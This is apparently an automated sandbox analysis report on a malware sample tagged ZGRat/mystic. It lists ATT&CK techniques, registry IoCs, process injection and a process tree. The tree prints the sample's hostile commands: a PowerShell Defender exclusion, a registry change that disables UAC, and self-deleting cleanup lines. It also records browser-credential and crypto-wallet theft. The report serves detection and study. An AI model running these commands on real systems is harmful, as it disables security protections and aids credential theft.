mystic | a27f78bc391c03ebfd8090575eeedf89b59b88ac92517eb4686d7bfcf458d673

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	random.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\random.exe = "0"	random.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	random.exe

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation	7IC1Hw05.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation	2E7E.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation	random.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LkWBi0kAq6mgvuoF3grvVMHm.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\80bwcQzywLSzFW7Ns4quDYce.bat	CasPol.exe

Executes dropped EXE 17 IoCs

pid	Process
2640	Yx7xa85.exe
3084	LS6mN63.exe
944	1Gv52Fx9.exe
2920	2wk4183.exe
1260	6Fq8Qp5.exe
4876	7IC1Hw05.exe
1336	BB3.exe
3876	2E7E.exe
4220	320A.exe
4116	InstallSetup5.exe
1576	toolspub2.exe
628	31839b57a4f11171d6abc8bbc4451ee4.exe
2832	Broom.exe
3952	random.exe
2284	latestX.exe
5040	320A.exe
3820	45D1.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral1/files/0x0006000000022d47-769.dat	themida
behavioral1/files/0x0006000000022d47-785.dat	themida
behavioral1/files/0x0006000000022d47-784.dat	themida

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000022d11-340.dat	upx
behavioral1/files/0x0006000000022d11-387.dat	upx
behavioral1/files/0x0006000000022d11-361.dat	upx
behavioral1/files/0x0006000000022d11-403.dat	upx
behavioral1/files/0x0006000000022d24-409.dat	upx
behavioral1/files/0x0006000000022d11-442.dat	upx
behavioral1/files/0x0006000000022d11-470.dat	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	random.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\random.exe = "0"	random.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	NEAS.4774d686f9800df2d1e74d71b0f627a0.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\""	Yx7xa85.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\""	LS6mN63.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	random.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	random.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 944 set thread context of 4144	944	1Gv52Fx9.exe	94
PID 1260 set thread context of 692	1260	6Fq8Qp5.exe	105
PID 4220 set thread context of 5040	4220	320A.exe	124
PID 3952 set thread context of 556	3952	random.exe	127

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3488	sc.exe
4932	sc.exe
520	sc.exe
2672	sc.exe
4916	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
4864	4144	WerFault.exe	94
4528	4712	WerFault.exe	130

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2wk4183.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2wk4183.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	2wk4183.exe

Delays execution with timeout.exe 2 IoCs

evasion

pid	Process
4012	timeout.exe
3276	timeout.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2920	2wk4183.exe
2920	2wk4183.exe
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
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3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
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3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found
3300	Process not Found

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3300	Process not Found

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2920	2wk4183.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeDebugPrivilege	1336	BB3.exe
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeDebugPrivilege	4220	320A.exe
Token: SeDebugPrivilege	556	CasPol.exe
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeShutdownPrivilege	3300	Process not Found
Token: SeCreatePagefilePrivilege	3300	Process not Found
Token: SeDebugPrivilege	3452	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2832	Broom.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2772 wrote to memory of 2640	2772	NEAS.4774d686f9800df2d1e74d71b0f627a0.exe	89
PID 2772 wrote to memory of 2640	2772	NEAS.4774d686f9800df2d1e74d71b0f627a0.exe	89
PID 2772 wrote to memory of 2640	2772	NEAS.4774d686f9800df2d1e74d71b0f627a0.exe	89
PID 2640 wrote to memory of 3084	2640	Yx7xa85.exe	90
PID 2640 wrote to memory of 3084	2640	Yx7xa85.exe	90
PID 2640 wrote to memory of 3084	2640	Yx7xa85.exe	90
PID 3084 wrote to memory of 944	3084	LS6mN63.exe	92
PID 3084 wrote to memory of 944	3084	LS6mN63.exe	92
PID 3084 wrote to memory of 944	3084	LS6mN63.exe	92
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 944 wrote to memory of 4144	944	1Gv52Fx9.exe	94
PID 3084 wrote to memory of 2920	3084	LS6mN63.exe	96
PID 3084 wrote to memory of 2920	3084	LS6mN63.exe	96
PID 3084 wrote to memory of 2920	3084	LS6mN63.exe	96
PID 2640 wrote to memory of 1260	2640	Yx7xa85.exe	103
PID 2640 wrote to memory of 1260	2640	Yx7xa85.exe	103
PID 2640 wrote to memory of 1260	2640	Yx7xa85.exe	103
PID 1260 wrote to memory of 692	1260	6Fq8Qp5.exe	105
PID 1260 wrote to memory of 692	1260	6Fq8Qp5.exe	105
PID 1260 wrote to memory of 692	1260	6Fq8Qp5.exe	105
PID 1260 wrote to memory of 692	1260	6Fq8Qp5.exe	105
PID 1260 wrote to memory of 692	1260	6Fq8Qp5.exe	105
PID 1260 wrote to memory of 692	1260	6Fq8Qp5.exe	105
PID 1260 wrote to memory of 692	1260	6Fq8Qp5.exe	105
PID 1260 wrote to memory of 692	1260	6Fq8Qp5.exe	105
PID 2772 wrote to memory of 4876	2772	NEAS.4774d686f9800df2d1e74d71b0f627a0.exe	106
PID 2772 wrote to memory of 4876	2772	NEAS.4774d686f9800df2d1e74d71b0f627a0.exe	106
PID 2772 wrote to memory of 4876	2772	NEAS.4774d686f9800df2d1e74d71b0f627a0.exe	106
PID 4876 wrote to memory of 3272	4876	7IC1Hw05.exe	108
PID 4876 wrote to memory of 3272	4876	7IC1Hw05.exe	108
PID 4876 wrote to memory of 3272	4876	7IC1Hw05.exe	108
PID 3300 wrote to memory of 1336	3300	Process not Found	114
PID 3300 wrote to memory of 1336	3300	Process not Found	114
PID 3300 wrote to memory of 1336	3300	Process not Found	114
PID 3300 wrote to memory of 3876	3300	Process not Found	116
PID 3300 wrote to memory of 3876	3300	Process not Found	116
PID 3300 wrote to memory of 3876	3300	Process not Found	116
PID 3300 wrote to memory of 4220	3300	Process not Found	117
PID 3300 wrote to memory of 4220	3300	Process not Found	117
PID 3876 wrote to memory of 4116	3876	2E7E.exe	118
PID 3876 wrote to memory of 4116	3876	2E7E.exe	118
PID 3876 wrote to memory of 4116	3876	2E7E.exe	118
PID 3876 wrote to memory of 1576	3876	2E7E.exe	119
PID 3876 wrote to memory of 1576	3876	2E7E.exe	119
PID 3876 wrote to memory of 1576	3876	2E7E.exe	119
PID 3876 wrote to memory of 628	3876	2E7E.exe	120
PID 3876 wrote to memory of 628	3876	2E7E.exe	120
PID 3876 wrote to memory of 628	3876	2E7E.exe	120
PID 4116 wrote to memory of 2832	4116	InstallSetup5.exe	121
PID 4116 wrote to memory of 2832	4116	InstallSetup5.exe	121
PID 4116 wrote to memory of 2832	4116	InstallSetup5.exe	121
PID 3876 wrote to memory of 3952	3876	2E7E.exe	122
PID 3876 wrote to memory of 3952	3876	2E7E.exe	122
PID 3876 wrote to memory of 3952	3876	2E7E.exe	122
PID 3876 wrote to memory of 2284	3876	2E7E.exe	123
PID 3876 wrote to memory of 2284	3876	2E7E.exe	123

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	random.exe

C:\Users\Admin\AppData\Local\Temp\NEAS.4774d686f9800df2d1e74d71b0f627a0.exe
"C:\Users\Admin\AppData\Local\Temp\NEAS.4774d686f9800df2d1e74d71b0f627a0.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2772
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Yx7xa85.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Yx7xa85.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2640
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\LS6mN63.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\LS6mN63.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious use of WriteProcessMemory
    PID:3084
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1Gv52Fx9.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1Gv52Fx9.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of WriteProcessMemory
      PID:944
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
        5⤵
        
        PID:4144
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4144 -s 540
        6⤵
        Program crash
        
        PID:4864
  - - C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2wk4183.exe
      C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\2wk4183.exe
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:2920
- - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Fq8Qp5.exe
    C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\6Fq8Qp5.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1260
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      4⤵
      PID:692
- C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7IC1Hw05.exe
  C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\7IC1Hw05.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\is64.bat" "
    3⤵
    PID:3272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4144 -ip 4144
1⤵
PID:2800

C:\Users\Admin\AppData\Local\Temp\BB3.exe
C:\Users\Admin\AppData\Local\Temp\BB3.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1336

C:\Users\Admin\AppData\Local\Temp\2E7E.exe
C:\Users\Admin\AppData\Local\Temp\2E7E.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3876
- C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
  "C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Users\Admin\AppData\Local\Temp\Broom.exe
    C:\Users\Admin\AppData\Local\Temp\Broom.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetWindowsHookEx
    PID:2832
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  - Executes dropped EXE
  PID:1576
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:4256
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  - Executes dropped EXE
  PID:628
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:4668
- - C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
    "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
    3⤵
    PID:1160
- C:\Users\Admin\AppData\Local\Temp\random.exe
  "C:\Users\Admin\AppData\Local\Temp\random.exe"
  2⤵
  - UAC bypass
  - Windows security bypass
  - Checks computer location settings
  - Executes dropped EXE
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  - System policy modification
  PID:3952
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
    3⤵
    - Drops startup file
    - Suspicious use of AdjustPrivilegeToken
    PID:556
  - - C:\Users\Admin\Pictures\K1aCaazjgJB30jQCTzYlFiTQ.exe
      "C:\Users\Admin\Pictures\K1aCaazjgJB30jQCTzYlFiTQ.exe"
      4⤵
      PID:4712
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\K1aCaazjgJB30jQCTzYlFiTQ.exe" & del "C:\ProgramData\*.dll"" & exit
        5⤵
        
        PID:1312
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        6⤵
        Delays execution with timeout.exe
        
        PID:3276
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4712 -s 1656
        5⤵
        Program crash
        
        PID:4528
  - - C:\Users\Admin\Pictures\EY2FPJtM86igW6i4lDK3Sxci.exe
      "C:\Users\Admin\Pictures\EY2FPJtM86igW6i4lDK3Sxci.exe"
      4⤵
      PID:3600
  - - C:\Users\Admin\Pictures\SOL0lQ4DxPLjadwCnTn3eMMg.exe
      "C:\Users\Admin\Pictures\SOL0lQ4DxPLjadwCnTn3eMMg.exe"
      4⤵
      PID:844
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:3804
    - - C:\Users\Admin\Pictures\SOL0lQ4DxPLjadwCnTn3eMMg.exe
        
        "C:\Users\Admin\Pictures\SOL0lQ4DxPLjadwCnTn3eMMg.exe"
        5⤵
        
        PID:4840
  - - C:\Users\Admin\Pictures\rh9nlpr5JWBJcU4a6XFSrIhK.exe
      "C:\Users\Admin\Pictures\rh9nlpr5JWBJcU4a6XFSrIhK.exe"
      4⤵
      PID:4268
    - - C:\Users\Admin\AppData\Local\Temp\Broom.exe
        
        C:\Users\Admin\AppData\Local\Temp\Broom.exe
        5⤵
        
        PID:2812
  - - C:\Users\Admin\Pictures\WSbkau2H6A4AG3h1jhsb9pvm.exe
      "C:\Users\Admin\Pictures\WSbkau2H6A4AG3h1jhsb9pvm.exe" --silent --allusers=0
      4⤵
      PID:1196
    - - C:\Users\Admin\Pictures\WSbkau2H6A4AG3h1jhsb9pvm.exe
        
        C:\Users\Admin\Pictures\WSbkau2H6A4AG3h1jhsb9pvm.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=104.0.4944.54 --initial-client-data=0x2e0,0x2e4,0x2e8,0x2bc,0x2ec,0x6bc15648,0x6bc15658,0x6bc15664
        5⤵
        
        PID:236
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\WSbkau2H6A4AG3h1jhsb9pvm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\WSbkau2H6A4AG3h1jhsb9pvm.exe" --version
        5⤵
        
        PID:3348
    - - C:\Users\Admin\Pictures\WSbkau2H6A4AG3h1jhsb9pvm.exe
        
        "C:\Users\Admin\Pictures\WSbkau2H6A4AG3h1jhsb9pvm.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=1196 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20231113021804" --session-guid=5d068c1a-db86-433d-82c8-08c08c43fba9 --server-tracking-blob=MDk4OWY0N2FlMmM3YmM0ODExNWUzZjNjYjg1ODJjMzFjOTQ4YmY1OTI4MzVjMjAyMDg0YjU3OTkyODQ3YTEwMjp7ImNvdW50cnkiOiJOTCIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2NyIsInN5c3RlbSI6eyJwbGF0Zm9ybSI6eyJhcmNoIjoieDg2XzY0Iiwib3BzeXMiOiJXaW5kb3dzIiwib3BzeXMtdmVyc2lvbiI6IjEwIiwicGFja2FnZSI6IkVYRSJ9fSwidGltZXN0YW1wIjoiMTY5OTg0MTg3Ny4zMjcxIiwidXRtIjp7ImNhbXBhaWduIjoiNzY3IiwibWVkaXVtIjoiYXBiIiwic291cmNlIjoibWt0In0sInV1aWQiOiJmMWJjZTA1Yy1hYjY3LTRhMmMtOWZlMC03OWIxZWIwNTJhYWUifQ== --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=0005000000000000
        5⤵
        
        PID:4424
      - C:\Users\Admin\Pictures\WSbkau2H6A4AG3h1jhsb9pvm.exe
        
        C:\Users\Admin\Pictures\WSbkau2H6A4AG3h1jhsb9pvm.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=104.0.4944.54 --initial-client-data=0x304,0x308,0x30c,0x2d4,0x310,0x6a605648,0x6a605658,0x6a605664
        6⤵
        
        PID:3780
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311130218041\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311130218041\assistant\Assistant_103.0.4928.25_Setup.exe_sfx.exe"
        5⤵
        
        PID:4928
    - - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311130218041\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311130218041\assistant\assistant_installer.exe" --version
        5⤵
        
        PID:932
      - C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311130218041\assistant\assistant_installer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202311130218041\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=103.0.4928.25 --initial-client-data=0x268,0x26c,0x270,0x244,0x274,0x511588,0x511598,0x5115a4
        6⤵
        
        PID:3500
  - - C:\Users\Admin\Pictures\DNVmZZVYBxJu6eRgjNfpsHMJ.exe
      "C:\Users\Admin\Pictures\DNVmZZVYBxJu6eRgjNfpsHMJ.exe"
      4⤵
      PID:3584
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        
        PID:972
    - - C:\Users\Admin\Pictures\DNVmZZVYBxJu6eRgjNfpsHMJ.exe
        
        "C:\Users\Admin\Pictures\DNVmZZVYBxJu6eRgjNfpsHMJ.exe"
        5⤵
        
        PID:2672
  - - C:\Users\Admin\Pictures\ymiVvYZ7zlTWYEgN4JXMh4C5.exe
      "C:\Users\Admin\Pictures\ymiVvYZ7zlTWYEgN4JXMh4C5.exe"
      4⤵
      PID:1932
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\ymiVvYZ7zlTWYEgN4JXMh4C5.exe" & del "C:\ProgramData\*.dll"" & exit
        5⤵
        
        PID:440
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        6⤵
        Delays execution with timeout.exe
        
        PID:4012
  - - C:\Users\Admin\Pictures\W49gGxHkqzORsMB6sDkmnQS1.exe
      "C:\Users\Admin\Pictures\W49gGxHkqzORsMB6sDkmnQS1.exe"
      4⤵
      PID:1452
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\random.exe" -Force
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3452
- C:\Users\Admin\AppData\Local\Temp\latestX.exe
  "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
  2⤵
  - Executes dropped EXE
  PID:2284

C:\Users\Admin\AppData\Local\Temp\320A.exe
C:\Users\Admin\AppData\Local\Temp\320A.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4220
